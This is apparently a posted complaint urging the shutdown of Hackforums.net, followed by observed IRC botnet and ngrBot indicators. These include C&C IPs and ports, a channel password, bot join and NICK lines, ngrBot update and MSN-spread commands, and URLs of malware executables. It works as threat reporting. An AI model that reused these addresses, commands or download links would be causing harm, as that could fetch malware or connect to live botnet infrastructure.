Hackforums.net Investigation

We are working to get Hackforums.net shut down. We feel strongly that it a website which has an undue influence on young people as well as promoting illegal computer activities such as hacking, virus spreading, manipulation of online financial services etc.

I'm not certain of what your criteria if for judging a site to be 'positive for malware'. I know that is not an easy threat to withstand and I don't blame this site for exercising caution and withdrawing the 'positive' for malware decision.

Hackforums.net - "Infecting one another with malware."

We are reporting this site for  illegal activitie and it should be closed as soon as posible!

Legal internet law will clean all illegal activities and we will help realise it!

[IT Security Team]

74.117.174.70(irc botnet hosted in United States Seattle Kwshells Internet Services)

Remote Host Port Number
74.117.174.70 1728

PONG :puc.ssb14e.jp
JOIN ##lamer##

hosting infos:
http://whois.domaintools.com/74.117.174.70

Firewall.yi.org(Mic bot from ccteam hosted in Turkey Istanbul Global Iletisim Hizmetleri A.s)

Resolved : [Firewall.yi.org] To [91.93.117.180]
Resolved : [Firewall.yi.org] To [87.236.232.25]

Remote Host Port Number
62.219.170.83 80
96.17.109.43 80
91.93.117.180 33725
87.236.232.25 33725

Now talking in #N3t
Topic On: [ #N3t ] [ ]
Topic By: [ cyber ]

hosting infos:
http://whois.domaintools.com/91.93.117.180

82.243.195.7(irc botnet hosted in France Nice Free Sas)

Remote Host Port Number
193.107.204.81 6667 WHO #bitcoin83
82.243.195.7 8333 WHO #bitcoin83

NICK x958986756
USER x958986756 8 * : x958986756
USERHOST x958986756
NICK uAoggnooyBzZnpi
JOIN #bitcoin83

hosting infos:
http://whois.domaintools.com/82.243.195.7

77.79.7.246(ngrBot hosted in Lithuania Splius Uab)

DNS Lookup
Host Name IP Address
api.wipmania.com
api.wipmania.com 213.251.170.52
fullyundetectable.com
UDP Connections
Download URLs
http://213.251.170.52/ (api.wipmania.com)

Outgoing connection to remote server: api.wipmania.com TCP port 80
C&C Server: 77.79.7.246:1863
Server Password:
Username: iogjzhd
Nickname: n{DE|XPa}iogjzhd
Channel: #ngr (Password: ngrbot)
Channeltopic: :.s .up http://fullyundetectable.com/uploader/1308440076.exe 5f78edacd7147892bb86f7a3e26367d9 .msn.int 5 .msn.set http://img##.lmageshack.org/images/?id=image##.jpg


Now talking in #ngr
Topic On: [ #ngr ] [ .s .up http://fullyundetectable.com/uploader/1308440076.exe 5f78edacd7147892bb86f7a3e26367d9 .msn.int 5 .msn.set http://img##.lmageshack.org/images/?id=image##.jpg ]
Topic By: [ DCO ]
Joins: {USA|W7u}gpqhwpn [gpqhwpn@5BD873C8.B62ADEB3.A9D605B8.IP](13{USA|W7u}gpqhwpn) [MSN]: Updated MSN spread interval to "5"
{USA|W7u}gpqhwpn) [MSN]: Updated MSN spread message to "http://img33.lmageshack.org/images/?id=image11.jpg"

hosting infos:
http://whois.domaintools.com/77.79.7.246

kayits.byinter.net(irc botnet hosted in Turkey Netinternet Bilgisayar Ve Telekomunikasyon San. Ve Tic. Ltd. Sti)

found by tr0j3n

Remote Host Port Number
kayits.byinter.net 7107

NICK new[iRooT-XP-USA]667657
USER 3221 "" "TsGh" :3221
JOIN #!MSN! Coded
NICK [iRooT-XP-USA]008675
USER 0086 "" "TsGh" :0086
NICK [iRooT-XP-USA]049882
USER 0498 "" "TsGh" :0498


hosting infos:
http://whois.domaintools.com/94.102.1.163

yesim.hoodrich.ru(irc botnet hosted in United States South Lake Tahoe Reliablehosting.com - Network Services)

Remote Host Port Number
yesim.hoodrich.ru:4042
Resolved : [yesim.hoodrich.ru] To [216.131.127.13]
216.131.127.13 4042
89.201.164.126 80

NICK new[USA|XP|COMPUTERNAME]pethrmn
USER xD "" "lol" :xD
JOIN #biznew#
PONG 422
PONG :irc.priv8net4.com

* The data identified by the following URL was then requested from the remote web server:
o http://epicbookings.com/images/jun16.exe


hosting infos:
http://whois.domaintools.com/216.131.127.13